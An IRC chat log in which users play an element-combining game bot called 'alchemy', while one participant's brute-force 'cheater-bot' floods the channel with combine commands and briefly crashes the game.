[2014-12-29T15:52:04-0500] <+JacobEdelman> weird
[2014-12-29T15:52:05-0500] <cheater-bot> @combine 001 Network
[2014-12-29T15:52:05-0500] <alchemy> You don't have 001!
[2014-12-29T15:52:05-0500] <alokpathy> Um
[2014-12-29T15:52:06-0500] <cheater-bot> @combine 001 cheater-bot!cheater-bot@pool-108-24-42-62.cmdnnj.fios.verizon.net
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[2014-12-29T15:52:06-0500] <alchemy> You don't have 001!
[2014-12-29T15:52:17-0500] <alokpathy> @list
[2014-12-29T15:52:17-0500] <alchemy> You have: snowman, chivalry, soil, energy, villain, lava, earth, air, cloud, mountain, neanderthal, sentience, electricity, thunder, snow, ice, tornado, aaron, ent, sword
[2014-12-29T15:52:17-0500] <alchemy> You have: ocean, man, puddle, plant, fireman, fire, tree, tool, rain, water, evil, hole, penguin, stone, olaf, light, metal, lightning, sandstorm, tsunami
[2014-12-29T15:52:17-0500] <alchemy> You have: wind, knight, sculpture, steam, rust
[2014-12-29T15:52:17-0500] <alchemy> That's 45 out of 102!
[2014-12-29T15:52:24-0500] <Hyper> lol
[2014-12-29T15:52:24-0500] <alokpathy> @combine sculpture energy
[2014-12-29T15:52:24-0500] <alchemy> sculpture and energy don't make anything exciting.
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[2014-12-29T15:52:26-0500] <cheater-bot> @combine snowman snowman
[2014-12-29T15:52:26-0500] <cheater-bot> @combine snowman chivalry
[2014-12-29T15:52:26-0500] <cheater-bot> @combine snowman soil
[2014-12-29T15:52:26-0500] <cheater-bot> @combine snowman energy
[2014-12-29T15:52:26-0500] <cheater-bot> @combine snowman villain
[2014-12-29T15:52:26-0500] <cheater-bot> @combine snowman lava
[2014-12-29T15:52:26-0500] <cheater-bot> @combine snowman earth
[2014-12-29T15:52:26-0500] <cheater-bot> @combine snowman air
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[2014-12-29T15:52:26-0500] <alchemy> snowman and snowman don't make anything exciting.
[2014-12-29T15:52:26-0500] <alchemy> snowman and chivalry don't make anything exciting.
[2014-12-29T15:52:26-0500] <alchemy> snowman and soil don't make anything exciting.
[2014-12-29T15:52:26-0500] <alchemy> snowman and energy don't make anything exciting.
[2014-12-29T15:52:26-0500] <alchemy> snowman and villain don't make anything exciting.
[2014-12-29T15:52:26-0500] <alchemy> snowman and lava don't make anything exciting.
[2014-12-29T15:52:26-0500] <alchemy> snowman and earth don't make anything exciting.
[2014-12-29T15:52:26-0500] <alchemy> snowman and air don't make anything exciting.
[2014-12-29T15:52:32-0500] <+hardmath123> oh my
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[2014-12-29T15:52:35-0500] <cheater-bot> @combine snowman snowman
[2014-12-29T15:52:35-0500] <cheater-bot> @combine snowman chivalry
[2014-12-29T15:52:35-0500] <cheater-bot> @combine snowman soil
[2014-12-29T15:52:35-0500] <cheater-bot> @combine snowman energy
[2014-12-29T15:52:35-0500] <cheater-bot> @combine snowman villain
[2014-12-29T15:52:35-0500] <cheater-bot> @combine snowman lava
[2014-12-29T15:52:35-0500] <cheater-bot> @combine snowman earth
[2014-12-29T15:52:35-0500] <cheater-bot> @combine snowman air
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[2014-12-29T15:52:35-0500] <alchemy> snowman and snowman don't make anything exciting.
[2014-12-29T15:52:35-0500] <alchemy> snowman and chivalry don't make anything exciting.
[2014-12-29T15:52:35-0500] <alchemy> snowman and soil don't make anything exciting.
[2014-12-29T15:52:35-0500] <alchemy> snowman and energy don't make anything exciting.
[2014-12-29T15:52:35-0500] <alchemy> snowman and villain don't make anything exciting.
[2014-12-29T15:52:35-0500] <alchemy> snowman and lava don't make anything exciting.
[2014-12-29T15:52:35-0500] <alchemy> snowman and earth don't make anything exciting.
[2014-12-29T15:52:35-0500] <alchemy> snowman and air don't make anything exciting.
[2014-12-29T15:52:39-0500] <bob_twinkles> lol
[2014-12-29T15:52:39-0500] <+JacobEdelman> wow
[2014-12-29T15:52:43-0500] <+JacobEdelman> that fails quickly
[2014-12-29T15:52:43-0500] <Tamini_> oh god
[2014-12-29T15:52:46-0500] <alokpathy> cheater-bot is so bad at this LOL
[2014-12-29T15:52:47-0500] <Tamini_> whose bot is that
[2014-12-29T15:52:54-0500] <alokpathy> Tamini_: JacobEdelman I think
[2014-12-29T15:53:01-0500] <+hardmath123> bot vs bot
[2014-12-29T15:53:12-0500] <Hyper> JacobEdelman: y u no cartesian product of the list of choices and itself
[2014-12-29T15:53:34-0500] <Hyper> spam all the things
[2014-12-29T15:53:58-0500] <Hyper> (and maybe record what you've already tried so you don't spam us?)
[2014-12-29T15:54:40-0500] <alokpathy> @list
[2014-12-29T15:54:41-0500] <alchemy> You have: snowman, chivalry, soil, energy, villain, lava, earth, air, cloud, mountain, neanderthal, sentience, electricity, thunder, snow, ice, tornado, aaron, ent, sword
[2014-12-29T15:54:41-0500] <alchemy> You have: ocean, man, puddle, plant, fireman, fire, tree, tool, rain, water, evil, hole, penguin, stone, olaf, light, metal, lightning, sandstorm, tsunami
[2014-12-29T15:54:41-0500] <alchemy> You have: wind, knight, sculpture, steam, rust
[2014-12-29T15:54:41-0500] <alchemy> That's 45 out of 102!
[2014-12-29T15:54:45-0500] <alokpathy> @combine rust sentience
[2014-12-29T15:54:45-0500] <alchemy> rust and sentience don't make anything exciting.
[2014-12-29T15:54:51-0500] <alokpathy> @combine energy man
[2014-12-29T15:54:51-0500] <alchemy> energy and man don't make anything exciting.
[2014-12-29T15:54:55-0500] <bob_twinkles> @combine tool rust
[2014-12-29T15:54:55-0500] <alchemy> tool and rust don't make anything exciting.
[2014-12-29T15:54:55-0500] <alokpathy> @combine energy villain
[2014-12-29T15:54:55-0500] <alchemy> energy and villain don't make anything exciting.
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[2014-12-29T15:54:57-0500] <cheater-bot> @combine rust rust
[2014-12-29T15:54:57-0500] <cheater-bot> @combine rust steam
[2014-12-29T15:54:57-0500] <cheater-bot> @combine rust knight
[2014-12-29T15:54:57-0500] <cheater-bot> @combine rust wind
[2014-12-29T15:54:57-0500] <cheater-bot> @combine rust sandstorm
[2014-12-29T15:54:57-0500] <cheater-bot> @combine rust lightning
[2014-12-29T15:54:57-0500] <cheater-bot> @combine rust metal
[2014-12-29T15:54:57-0500] <cheater-bot> @combine rust light
[2014-12-29T15:54:57-0500] <alchemy> rust and rust don't make anything exciting.
[2014-12-29T15:54:57-0500] <alchemy> rust and steam don't make anything exciting.
[2014-12-29T15:54:57-0500] <alchemy> rust and knight don't make anything exciting.
[2014-12-29T15:54:57-0500] <alchemy> rust and wind don't make anything exciting.
[2014-12-29T15:54:57-0500] <alchemy> rust and sandstorm don't make anything exciting.
[2014-12-29T15:54:57-0500] <alchemy> rust and lightning don't make anything exciting.
[2014-12-29T15:54:57-0500] <alchemy> rust and metal don't make anything exciting.
[2014-12-29T15:54:57-0500] <alchemy> rust and light don't make anything exciting.
[2014-12-29T15:54:58-0500] <cheater-bot> @combine rust olaf
[2014-12-29T15:54:58-0500] <alchemy> rust and olaf don't make anything exciting.
[2014-12-29T15:54:59-0500] <cheater-bot> @combine rust stone
[2014-12-29T15:54:59-0500] <alchemy> rust and stone don't make anything exciting.
[2014-12-29T15:55:00-0500] <cheater-bot> @combine rust penguin
[2014-12-29T15:55:00-0500] <alchemy> rust and penguin don't make anything exciting.
[2014-12-29T15:55:01-0500] <cheater-bot> @combine rust hole
[2014-12-29T15:55:01-0500] <alchemy> rust and hole don't make anything exciting.
[2014-12-29T15:55:02-0500] <cheater-bot> @combine rust evil
[2014-12-29T15:55:08-0500] <alchemy> rust and evil don't make anything exciting.
[2014-12-29T15:55:08-0500] <cheater-bot> @combine rust water
[2014-12-29T15:55:08-0500] <alchemy> rust and water don't make anything exciting.
[2014-12-29T15:55:08-0500] <cheater-bot> @combine rust rain
[2014-12-29T15:55:08-0500] <alchemy> rust and rain don't make anything exciting.
[2014-12-29T15:55:08-0500] <cheater-bot> @combine rust tool
[2014-12-29T15:55:08-0500] <alchemy> rust and tool don't make anything exciting.
[2014-12-29T15:55:08-0500] <+JacobEdelman> much better
[2014-12-29T15:55:08-0500] <cheater-bot> @combine rust tree
[2014-12-29T15:55:08-0500] <alchemy> rust and tree don't make anything exciting.
[2014-12-29T15:55:08-0500] <cheater-bot> @combine rust fire
[2014-12-29T15:55:08-0500] <alchemy> rust and fire don't make anything exciting.
[2014-12-29T15:55:08-0500] <cheater-bot> @combine rust fireman
[2014-12-29T15:55:08-0500] <alchemy> rust and fireman don't make anything exciting.
[2014-12-29T15:55:09-0500] <cheater-bot> @combine rust plant
[2014-12-29T15:55:09-0500] <alchemy> rust and plant don't make anything exciting.
[2014-12-29T15:55:10-0500] <cheater-bot> @combine rust puddle
[2014-12-29T15:55:10-0500] <alchemy> rust and puddle don't make anything exciting.
[2014-12-29T15:55:11-0500] <cheater-bot> @combine rust man
[2014-12-29T15:55:11-0500] <alchemy> You already combined rust and man to get aaron.
[2014-12-29T15:55:12-0500] <cheater-bot> @combine rust ocean
[2014-12-29T15:55:12-0500] <alchemy> rust and ocean don't make anything exciting.
[2014-12-29T15:55:12-0500] <alokpathy> It hasn't found anything LOL
[2014-12-29T15:55:13-0500] <cheater-bot> @combine rust sword
[2014-12-29T15:55:13-0500] <alchemy> rust and sword don't make anything exciting.
[2014-12-29T15:55:14-0500] <cheater-bot> @combine rust ent
[2014-12-29T15:55:14-0500] <alchemy> rust and ent don't make anything exciting.
[2014-12-29T15:55:15-0500] <cheater-bot> @combine rust aaron
[2014-12-29T15:55:15-0500] <alchemy> rust and aaron don't make anything exciting.
[2014-12-29T15:55:16-0500] <Hyper> is it being rate limited or something?
[2014-12-29T15:55:16-0500] <cheater-bot> @combine rust tornado
[2014-12-29T15:55:16-0500] <alchemy> rust and tornado don't make anything exciting.
[2014-12-29T15:55:17-0500] <cheater-bot> @combine rust ice
[2014-12-29T15:55:17-0500] <alchemy> rust and ice don't make anything exciting.
[2014-12-29T15:55:18-0500] <cheater-bot> @combine rust snow
[2014-12-29T15:55:18-0500] <alchemy> rust and snow don't make anything exciting.
[2014-12-29T15:55:19-0500] <cheater-bot> @combine rust electricity
[2014-12-29T15:55:19-0500] <alchemy> rust and electricity don't make anything exciting.
[2014-12-29T15:55:19-0500] <+JacobEdelman> give it time
[2014-12-29T15:55:20-0500] <cheater-bot> @combine rust sentience
[2014-12-29T15:55:20-0500] <alchemy> rust and sentience don't make anything exciting.
[2014-12-29T15:55:21-0500] <cheater-bot> @combine rust neanderthal
[2014-12-29T15:55:21-0500] <alchemy> rust and neanderthal don't make anything exciting.
[2014-12-29T15:55:22-0500] <cheater-bot> @combine rust mountain
[2014-12-29T15:55:22-0500] <alchemy> rust and mountain don't make anything exciting.
[2014-12-29T15:55:23-0500] <cheater-bot> @combine rust cloud
[2014-12-29T15:55:23-0500] <alchemy> rust and cloud don't make anything exciting.
[2014-12-29T15:55:24-0500] <cheater-bot> @combine rust air
[2014-12-29T15:55:24-0500] <alchemy> rust and air don't make anything exciting.
[2014-12-29T15:55:25-0500] <cheater-bot> @combine rust earth
[2014-12-29T15:55:25-0500] <alchemy> rust and earth don't make anything exciting.
[2014-12-29T15:55:26-0500] <cheater-bot> @combine rust lava
[2014-12-29T15:55:26-0500] <alchemy> rust and lava don't make anything exciting.
[2014-12-29T15:55:27-0500] <cheater-bot> @combine rust villain
[2014-12-29T15:55:27-0500] <alchemy> rust and villain don't make anything exciting.
[2014-12-29T15:55:28-0500] <cheater-bot> @combine rust energy
[2014-12-29T15:55:28-0500] <alchemy> rust and energy don't make anything exciting.
[2014-12-29T15:55:29-0500] <cheater-bot> @combine rust soil
[2014-12-29T15:55:29-0500] <alchemy> rust and soil don't make anything exciting.
[2014-12-29T15:55:30-0500] <cheater-bot> @combine rust chivalry
[2014-12-29T15:55:30-0500] <alchemy> rust and chivalry don't make anything exciting.
[2014-12-29T15:55:30-0500] <bob_twinkles> JacobEdelman: I didn't want to use this channel anyway =P
[2014-12-29T15:55:31-0500] <cheater-bot> @combine rust snowman
[2014-12-29T15:55:31-0500] <alchemy> rust and snowman don't make anything exciting.
[2014-12-29T15:55:31-0500] <+JacobEdelman> @list
[2014-12-29T15:55:31-0500] <alchemy> You have: snowman, chivalry, soil, energy, villain, lava, earth, air, cloud, mountain, neanderthal, sentience, electricity, thunder, snow, ice, tornado, aaron, ent, sword
[2014-12-29T15:55:31-0500] <alchemy> You have: ocean, man, puddle, plant, fireman, fire, tree, tool, rain, water, evil, hole, penguin, stone, olaf, light, metal, lightning, sandstorm, tsunami
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[2014-12-29T15:55:33-0500] <cheater-bot> @combine steam rust
[2014-12-29T15:55:34-0500] <cheater-bot> @combine steam steam
[2014-12-29T15:55:35-0500] <cheater-bot> @combine steam knight
[2014-12-29T15:55:36-0500] <cheater-bot> @combine steam wind
[2014-12-29T15:55:36-0500] <bob_twinkles> lol
[2014-12-29T15:55:36-0500] <cheater-bot> @combine steam sandstorm
[2014-12-29T15:55:37-0500] <cheater-bot> @combine steam lightning
[2014-12-29T15:55:38-0500] <+hardmath123> guys
[2014-12-29T15:55:38-0500] <cheater-bot> @combine steam metal
[2014-12-29T15:55:39-0500] <cheater-bot> @combine steam light
[2014-12-29T15:55:40-0500] <cheater-bot> @combine steam olaf
[2014-12-29T15:55:41-0500] <cheater-bot> @combine steam stone
[2014-12-29T15:55:42-0500] <cheater-bot> @combine steam penguin
[2014-12-29T15:55:43-0500] <cheater-bot> @combine steam hole
[2014-12-29T15:55:44-0500] <cheater-bot> @combine steam evil
[2014-12-29T15:55:45-0500] <+hardmath123> cheater-bot: go away
[2014-12-29T15:55:45-0500] <cheater-bot> @combine steam water
[2014-12-29T15:55:46-0500] <Hyper> stop this madness
[2014-12-29T15:55:46-0500] <cheater-bot> @combine steam rain
[2014-12-29T15:55:47-0500] <cheater-bot> @combine steam tool
[2014-12-29T15:55:47-0500] <alokpathy> @list
[2014-12-29T15:55:48-0500] <bob_twinkles> JacobEdelman: pls
[2014-12-29T15:55:48-0500] <cheater-bot> @combine steam tree
[2014-12-29T15:55:49-0500] <cheater-bot> @combine steam fire
[2014-12-29T15:55:49-0500] <Hyper> pls
[2014-12-29T15:55:50-0500] <cheater-bot> @combine steam fireman
[2014-12-29T15:55:50-0500] <+JacobEdelman> its gone
[2014-12-29T15:55:51-0500] <cheater-bot> @combine steam plant
[2014-12-29T15:55:51-0500] <+JacobEdelman> wait
[2014-12-29T15:55:52-0500] <cheater-bot> @combine steam puddle
[2014-12-29T15:55:52-0500] <+JacobEdelman> what
[2014-12-29T15:55:53-0500] <cheater-bot> @combine steam man
[2014-12-29T15:55:54-0500] <cheater-bot> @combine steam ocean
[2014-12-29T15:55:54-0500] <+JacobEdelman> I killed it?
[2014-12-29T15:55:55-0500] <cheater-bot> @combine steam sword
[2014-12-29T15:55:56-0500] <cheater-bot> @combine steam ent
[2014-12-29T15:55:56-0500] <bob_twinkles> yes
[2014-12-29T15:55:58-0500] <cheater-bot> @combine steam aaron
[2014-12-29T15:55:59-0500] <cheater-bot> @combine steam tornado
[2014-12-29T15:56:00-0500] <cheater-bot> @combine steam ice
[2014-12-29T15:56:01-0500] <cheater-bot> @combine steam snow
[2014-12-29T15:56:01-0500] <cheater-bot> @combine steam electricity
[2014-12-29T15:56:02-0500] <cheater-bot> @combine steam sentience
[2014-12-29T15:56:02-0500] <alokpathy> JacobEdelman: You broke alchemy >:|
[2014-12-29T15:56:03-0500] <cheater-bot> @combine steam neanderthal
[2014-12-29T15:56:04-0500] <cheater-bot> @combine steam mountain
[2014-12-29T15:56:05-0500] <cheater-bot> @combine steam cloud
[2014-12-29T15:56:05-0500] <alokpathy> cheater-bot: 
[2014-12-29T15:56:06-0500] <cheater-bot> @combine steam air
[2014-12-29T15:56:07-0500] <cheater-bot> @combine steam earth
[2014-12-29T15:56:08-0500] <cheater-bot> @combine steam lava
[2014-12-29T15:56:08-0500] <alokpathy> cheater-bot: shat up
[2014-12-29T15:56:09-0500] <cheater-bot> @combine steam villain
[2014-12-29T15:56:10-0500] <Hyper> JacobEdelman: They're probably queued
[2014-12-29T15:56:10-0500] <cheater-bot> @combine steam energy
[2014-12-29T15:56:11-0500] <cheater-bot> @combine steam soil
[2014-12-29T15:56:12-0500] <cheater-bot> @combine steam chivalry
[2014-12-29T15:56:13-0500] <cheater-bot> @combine steam snowman
[2014-12-29T15:56:14-0500] <cheater-bot> @combine knight rust
[2014-12-29T15:56:15-0500] <cheater-bot> @combine knight steam
[2014-12-29T15:56:16-0500] <cheater-bot> @combine knight knight
[2014-12-29T15:56:22-0500] <+hardmath123> fyi
[2014-12-29T15:56:27-0500] <alokpathy> Yeah, that's right.
[2014-12-29T15:56:30-0500] <alokpathy> cheater-bot: be afraid
[2014-12-29T15:56:31-0500] <+hardmath123> alchemy died
[2014-12-29T15:56:31-0500] <+JacobEdelman> gone?
[2014-12-29T15:56:31-0500] <alokpathy> pewpew
[2014-12-29T15:56:33-0500] <Tamini_> jacob stahp it
[2014-12-29T15:56:37-0500] <+JacobEdelman> I stopped
[2014-12-29T15:56:37-0500] <+hardmath123> boom
[2014-12-29T15:56:40-0500] <Tamini_> also LOL
[2014-12-29T15:56:41-0500] <+JacobEdelman> I stopped it a bit ago
[2014-12-29T15:56:45-0500] <+JacobEdelman> wow
[2014-12-29T15:56:50-0500] <Tamini_> you killed alchemy
[2014-12-29T15:56:50-0500] <Hyper> The server probably rate limits
[2014-12-29T15:56:56-0500] <+JacobEdelman> oh wow
[2014-12-29T15:56:57-0500] <+JacobEdelman> sorry
[2014-12-29T15:56:57-0500] <alokpathy> JacobEdelman: >:|
[2014-12-29T15:56:59-0500] <Hyper> wait what
[2014-12-29T15:57:02-0500] <+JacobEdelman> oops
[2014-12-29T15:57:05-0500] <+JacobEdelman> something broke
[2014-12-29T15:57:06-0500] <Hyper> how did alchemy die from that
[2014-12-29T15:57:07-0500] <Hyper> lol
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[2014-12-29T15:57:11-0500] <alokpathy> @list
[2014-12-29T15:57:11-0500] <alchemy> You have: snowman, chivalry, soil, energy, villain, ice, earth, ocean, cloud, mountain, neanderthal, sentience, electricity, thunder, snow, lava, fire, aaron, ent, sword
[2014-12-29T15:57:11-0500] <alchemy> You have: penguin, puddle, plant, fireman, tornado, tool, metal, rain, water, evil, hole, man, stone, olaf, light, tree, air, sandstorm, tsunami, rust
[2014-12-29T15:57:11-0500] <alchemy> You have: knight, lightning, sculpture, steam, wind
[2014-12-29T15:57:11-0500] <alchemy> That's 45 out of 102!
[2014-12-29T15:57:18-0500] <alokpathy> @combine tornado water
[2014-12-29T15:57:18-0500] <alchemy> tornado and water don't make anything exciting.
[2014-12-29T15:57:20-0500] <+JacobEdelman> are any of those new?
[2014-12-29T15:57:27-0500] <+hardmath123> the error was "broken pipe"
[2014-12-29T15:57:28-0500] <alokpathy> lol I don't think so
[2014-12-29T15:57:32-0500] <bob_twinkles> no
[2014-12-29T15:57:35-0500] <+JacobEdelman> wow
[2014-12-29T15:57:38-0500] <alokpathy> @combine sandstorm wate
[2014-12-29T15:57:38-0500] <alchemy> You don't have wate!
[2014-12-29T15:57:39-0500] <+JacobEdelman> I got unlucky
[2014-12-29T15:57:39-0500] <alokpathy> @combine sandstorm water
[2014-12-29T15:57:40-0500] <alchemy> sandstorm and water don't make anything exciting.
[2014-12-29T15:57:52-0500] <+hardmath123> JacobEdelman: you tried to combine rust with everything
[2014-12-29T15:57:55-0500] <alokpathy> @combine wind steam
[2014-12-29T15:57:55-0500] <alchemy> wind and steam don't make anything exciting.
[2014-12-29T15:57:59-0500] <+hardmath123> JacobEdelman: there aren't any more rust combinations, afaik
[2014-12-29T15:58:03-0500] <+JacobEdelman> only got that far?
[2014-12-29T15:58:05-0500] <alokpathy> yo nice we got a hint
[2014-12-29T15:58:07-0500] <bob_twinkles> JacobEdelman: why don't you just find one of the multitude of cheatsheets and then dump that in channel =P
[2014-12-29T15:58:13-0500] <+JacobEdelman> nah
[2014-12-29T15:58:17-0500] <alokpathy> @hint
[2014-12-29T15:58:17-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-29T15:58:17-0500] <+JacobEdelman> thats really cheating
[2014-12-29T15:58:19-0500] <alokpathy> @hint
[2014-12-29T15:58:19-0500] <alchemy> Not this time!
[2014-12-29T15:58:21-0500] <alokpathy> @hint
[2014-12-29T15:58:21-0500] <alchemy> Not this time!
[2014-12-29T15:58:23-0500] <alokpathy> @hint
[2014-12-29T15:58:23-0500] <+JacobEdelman> I wanna do fun cheating
[2014-12-29T15:58:23-0500] <alchemy> No can do, buddy.
[2014-12-29T15:58:24-0500] <+hardmath123> @hint
[2014-12-29T15:58:24-0500] <alchemy> No can do, buddy.
[2014-12-29T15:58:25-0500] <+hardmath123> @hint
[2014-12-29T15:58:25-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-29T15:58:26-0500] <+hardmath123> @hint
[2014-12-29T15:58:26-0500] <alchemy> No can do, buddy.
[2014-12-29T15:58:26-0500] <+hardmath123> @hint
[2014-12-29T15:58:26-0500] <alchemy> Not this time!
[2014-12-29T15:58:27-0500] <+hardmath123> @hint
[2014-12-29T15:58:27-0500] <alchemy> Not this time!
[2014-12-29T15:58:29-0500] <+hardmath123> @hint
[2014-12-29T15:58:29-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-29T15:58:32-0500] <+hardmath123> @hint
[2014-12-29T15:58:32-0500] <alchemy> Not this time!
[2014-12-29T15:58:34-0500] <+hardmath123> @hint
[2014-12-29T15:58:34-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-29T15:58:37-0500] <+hardmath123> @hint
[2014-12-29T15:58:37-0500] <alchemy> Not this time!
[2014-12-29T15:58:44-0500] <Hyper> JacobEdelman: perhaps you can do fun cheating in a query?
[2014-12-29T15:58:50-0500] <+JacobEdelman> ?
[2014-12-29T15:58:53-0500] <Hyper> idk if alchemy takes inputs from a query
[2014-12-29T15:58:56-0500] <Hyper> PM
[2014-12-29T15:59:02-0500] <+hardmath123> i'd have to configure him
[2014-12-29T15:59:08-0500] <+JacobEdelman> nah, no need
[2014-12-29T15:59:08-0500] <+hardmath123> i can run another instance, i guess
[2014-12-29T15:59:13-0500] <+hardmath123> two alchemies
[2014-12-29T15:59:16-0500] <+JacobEdelman> t was just fun to play around
[2014-12-29T15:59:19-0500] <+JacobEdelman> I'm done
[2014-12-29T15:59:24-0500] <+hardmath123> @status
[2014-12-29T15:59:24-0500] <alchemy> Alive and happy. Thanks for asking.
[2014-12-29T15:59:29-0500] <+hardmath123> @help
[2014-12-29T15:59:29-0500] <alchemy> To mix a new brew: `@combine <element> <element>`
[2014-12-29T15:59:29-0500] <alchemy> To list your elements: `@list`
[2014-12-29T15:59:29-0500] <alchemy> Also try `@encourage` and `@hint`.
[2014-12-29T15:59:36-0500] <+hardmath123> @encourage alchemy 
[2014-12-29T15:59:36-0500] <alchemy> It's for your own good, alchemy.
[2014-12-29T15:59:37-0500] <+hardmath123> :)
[2014-12-29T15:59:47-0500] <bob_twinkles> @combine earth water
[2014-12-29T15:59:47-0500] <alchemy> earth and water don't make anything exciting.
[2014-12-29T15:59:50-0500] <bob_twinkles> hmmm
[2014-12-29T16:00:16-0500] <alokpathy> @list
[2014-12-29T16:00:16-0500] <alchemy> You have: snowman, chivalry, soil, energy, villain, ice, earth, ocean, cloud, mountain, neanderthal, sentience, electricity, thunder, snow, lava, fire, aaron, ent, sword
[2014-12-29T16:00:16-0500] <alchemy> You have: penguin, puddle, plant, fireman, tornado, tool, metal, rain, water, evil, hole, man, stone, olaf, light, tree, air, sandstorm, tsunami, rust
[2014-12-29T16:00:16-0500] <alchemy> You have: knight, lightning, sculpture, steam, wind
[2014-12-29T16:00:16-0500] <alchemy> That's 45 out of 102!
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[2014-12-29T16:00:25-0500] <alokpathy> cheater-bot: good riddance
[2014-12-29T16:00:31-0500] <alokpathy> @combine puddle metal
[2014-12-29T16:00:31-0500] <alchemy> puddle and metal don't make anything exciting.
[2014-12-29T16:00:40-0500] <alokpathy> @combine olaf energy
[2014-12-29T16:00:40-0500] <alchemy> olaf and energy don't make anything exciting.
[2014-12-29T16:00:48-0500] <alokpathy> @combine thunder lightning
[2014-12-29T16:00:48-0500] <alchemy> thunder and lightning don't make anything exciting.
[2014-12-29T16:00:51-0500] <alokpathy> false
[2014-12-29T16:00:57-0500] <alokpathy> @combine evil thunder
[2014-12-29T16:00:57-0500] <alchemy> evil and thunder don't make anything exciting.
[2014-12-29T16:01:01-0500] <bob_twinkles> @combine earth energy
[2014-12-29T16:01:01-0500] <alchemy> earth and energy don't make anything exciting.
[2014-12-29T16:01:02-0500] <alokpathy> @combine evil electricity
[2014-12-29T16:01:02-0500] <alchemy> evil and electricity don't make anything exciting.
[2014-12-29T16:01:08-0500] <bob_twinkles> @combine electricity metal
[2014-12-29T16:01:08-0500] <alchemy> You just discovered computer (electricity + metal)!
[2014-12-29T16:01:12-0500] <bob_twinkles> uh
[2014-12-29T16:01:16-0500] <alokpathy> lololol
[2014-12-29T16:01:19-0500] <bob_twinkles> that's not quite how that works
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[2014-12-29T16:01:20-0500] <Hyper> I don't think that's how a computer works
[2014-12-29T16:01:25-0500] <+JacobEdelman> hmmm
[2014-12-29T16:01:29-0500] <alokpathy> @combine computer sentience
[2014-12-29T16:01:29-0500] <alchemy> You just discovered hal (computer + sentience)!
[2014-12-29T16:01:33-0500] <Hyper> heh
[2014-12-29T16:01:35-0500] <alokpathy> @combine computer energy
[2014-12-29T16:01:35-0500] <alchemy> computer and energy don't make anything exciting.
[2014-12-29T16:01:43-0500] <alokpathy> @combine hal sentience
[2014-12-29T16:01:43-0500] <alchemy> hal and sentience don't make anything exciting.
[2014-12-29T16:01:47-0500] <alokpathy> @combine hal energy
[2014-12-29T16:01:47-0500] <alchemy> hal and energy don't make anything exciting.
[2014-12-29T16:01:51-0500] <alokpathy> @combine metal rust
[2014-12-29T16:01:51-0500] <alchemy> metal and rust don't make anything exciting.
[2014-12-29T16:01:53-0500] <+JacobEdelman> so, alchemy does not excpet private messages
[2014-12-29T16:01:55-0500] <alokpathy> @combine computer rust
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[2014-12-29T16:01:55-0500] <alchemy> computer and rust don't make anything exciting.
[2014-12-29T16:01:57-0500] <Hyper> @combine hal chivalry
[2014-12-29T16:01:57-0500] <alchemy> hal and chivalry don't make anything exciting.
[2014-12-29T16:02:01-0500] <bob_twinkles> @combine tsunami ocean
[2014-12-29T16:02:02-0500] <alchemy> tsunami and ocean don't make anything exciting.
[2014-12-29T16:02:10-0500] <bob_twinkles> @combine stone ocean
[2014-12-29T16:02:10-0500] <alchemy> stone and ocean don't make anything exciting.
[2014-12-29T16:02:18-0500] <alokpathy> @combine aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[2014-12-29T16:02:23-0500] <+JacobEdelman> you know, you guys are just like ddosing it anyway
[2014-12-29T16:02:33-0500] <bob_twinkles> @combine light wind
[2014-12-29T16:02:33-0500] <alchemy> light and wind don't make anything exciting.
[2014-12-29T16:02:37-0500] <bob_twinkles> yep
[2014-12-29T16:02:39-0500] <alokpathy> @list
[2014-12-29T16:02:39-0500] <alchemy> You have: snowman, chivalry, soil, energy, villain, computer, ice, earth, ocean, cloud, mountain, neanderthal, hal, sentience, electricity, thunder, snow, lava, fire, aaron
[2014-12-29T16:02:39-0500] <alchemy> You have: ent, sword, penguin, puddle, plant, fireman, tornado, tool, metal, rain, water, evil, hole, man, stone, olaf, light, tree, air, sandstorm
[2014-12-29T16:02:39-0500] <alchemy> You have: tsunami, rust, knight, lightning, sculpture, steam, wind
[2014-12-29T16:02:39-0500] <alchemy> That's 47 out of 102!
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[2014-12-29T16:02:56-0500] <alokpathy> @combine ent hal
[2014-12-29T16:02:56-0500] <alchemy> ent and hal don't make anything exciting.
[2014-12-29T16:03:04-0500] <alokpathy> @combien ent lightning
[2014-12-29T16:03:04-0500] <bob_twinkles> @combine fireman ent
[2014-12-29T16:03:04-0500] <alchemy> fireman and ent don't make anything exciting.
[2014-12-29T16:03:07-0500] <alokpathy> @combine fire ent
[2014-12-29T16:03:07-0500] <alchemy> fire and ent don't make anything exciting.
[2014-12-29T16:03:17-0500] <+hardmath123> brb pls don't kill alchemy :)
[2014-12-29T16:03:25-0500] <alokpathy> @list
[2014-12-29T16:03:25-0500] <alchemy> You have: snowman, chivalry, soil, energy, villain, computer, ice, earth, ocean, cloud, mountain, neanderthal, hal, sentience, electricity, thunder, snow, lava, fire, aaron
[2014-12-29T16:03:26-0500] <alchemy> You have: ent, sword, penguin, puddle, plant, fireman, tornado, tool, metal, rain, water, evil, hole, man, stone, olaf, light, tree, air, sandstorm
[2014-12-29T16:03:26-0500] <alchemy> You have: tsunami, rust, knight, lightning, sculpture, steam, wind
[2014-12-29T16:03:26-0500] <alchemy> That's 47 out of 102!
[2014-12-29T16:03:32-0500] <alokpathy> @combine sculpture sentience
[2014-12-29T16:03:32-0500] <alchemy> You just discovered robot (sculpture + sentience)!
[2014-12-29T16:03:36-0500] <alokpathy> wooo
[2014-12-29T16:03:39-0500] <alokpathy> @combine robot computer
[2014-12-29T16:03:39-0500] <alchemy> robot and computer don't make anything exciting.
[2014-12-29T16:03:42-0500] <Hyper> why is that not golem
[2014-12-29T16:03:44-0500] <Hyper> gosh
[2014-12-29T16:03:46-0500] <jwoglom> @combine fireman computer
[2014-12-29T16:03:46-0500] <alchemy> fireman and computer don't make anything exciting.
[2014-12-29T16:03:48-0500] <alokpathy> @combine robot fire
[2014-12-29T16:03:48-0500] <alchemy> robot and fire don't make anything exciting.
[2014-12-29T16:03:51-0500] <jwoglom> @combine puddle plant
[2014-12-29T16:03:51-0500] <alchemy> puddle and plant don't make anything exciting.
[2014-12-29T16:03:53-0500] <bob_twinkles> @combine air air
[2014-12-29T16:03:53-0500] <alchemy> air and air don't make anything exciting.
